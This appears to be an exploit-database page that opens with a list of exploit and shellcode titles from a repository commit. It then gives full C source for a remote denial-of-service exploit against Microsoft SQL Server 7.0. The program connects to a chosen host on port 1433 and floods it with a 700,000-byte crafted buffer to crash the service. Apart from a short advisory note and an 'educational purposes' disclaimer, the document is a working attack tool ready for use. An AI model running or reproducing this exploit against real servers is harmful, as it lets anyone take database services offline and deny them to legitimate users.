
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
106 lines
No EOL
3 KiB
C
106 lines
No EOL
3 KiB
C
// source: https://www.securityfocus.com/bid/11265/info
|
|
|
|
Reportedly Microsoft SQL Server is affected by a remote denial of service vulnerability. This issue is due to a failure of the application to handle irregular network communications.
|
|
|
|
An attacker may leverage this issue to cause the affected server to crash, denying service to legitimate users.
|
|
|
|
/*
|
|
* Microsoft mssql 7.0 server is vulnerable to denial of service attack
|
|
* By sending a large buffer with specified data an attacker can stop the
|
|
service
|
|
* "mssqlserver" the error noticed is different according to services' pack
|
|
but the result is always
|
|
* the same one.
|
|
*
|
|
* Exception code = c0000005
|
|
*
|
|
* vulnerable: MSSQL7.0 sp0 - sp1 - sp2 - sp3
|
|
* This code is for educational purposes, I am not responsible for your acts
|
|
*
|
|
* This is the unix port of the code based on the windows one made by:
|
|
* securma massine
|
|
*
|
|
* (C) 2004 Sebastien Tricaud <sebastien.tricaud@gmail.com>
|
|
*
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <netdb.h>
|
|
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
|
|
|
|
#define BUF_SIZE 700000
|
|
|
|
#define DEFAULT_PORT 1433
|
|
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
int sockfd;
|
|
struct sockaddr_in target;
|
|
struct hostent *he;
|
|
char buffer[BUF_SIZE];
|
|
|
|
int i;
|
|
int retval;
|
|
|
|
|
|
for( i = 0; i < BUF_SIZE; i += 16 )
|
|
memcpy(buffer + i,
|
|
"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc", 16);
|
|
|
|
if ( argc < 2 ) {
|
|
printf("Vulnerable: MSSQL 7.0 sp0 - sp1 - sp2 - sp3\n");
|
|
printf("Synopsis: %s <target> [port]\n\n", argv[0]);
|
|
printf("This exploit is provided AS IS for testing purposes
|
|
only\n");
|
|
return -1;
|
|
}
|
|
|
|
he = (struct hostent *)gethostbyname(argv[1]);
|
|
if ( ! he ) {
|
|
perror("Cannot get host by name\nThe server is maybe down");
|
|
return -1;
|
|
}
|
|
|
|
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
|
if ( sockfd == -1 ) {
|
|
perror("Cannot create socket
|
|
(type=AF_INET,SOCK_STREAM,IPPROTO_TCP)\n");
|
|
return -1;
|
|
}
|
|
|
|
|
|
memset(&target, 0, sizeof(struct sockaddr_in));
|
|
|
|
target.sin_family = AF_INET;
|
|
if ( argv[2] )
|
|
target.sin_port = htons(atoi(argv[2]));
|
|
else
|
|
target.sin_port = htons(DEFAULT_PORT);
|
|
target.sin_addr = *((struct in_addr *)he->h_addr);
|
|
|
|
retval = connect(sockfd, (struct sockaddr *)&target, sizeof(struct
|
|
sockaddr));
|
|
if ( retval == -1 ) {
|
|
perror("Cannot be connected to the target host (wrong port
|
|
number?)\n");
|
|
return -1;
|
|
}
|
|
|
|
write(sockfd, buffer, sizeof(buffer));
|
|
|
|
printf("Data sent!\n");
|
|
|
|
printf("Please wait a few seconds and check the server\n");
|
|
|
|
close(sockfd);
|
|
|
|
return 0;
|
|
} |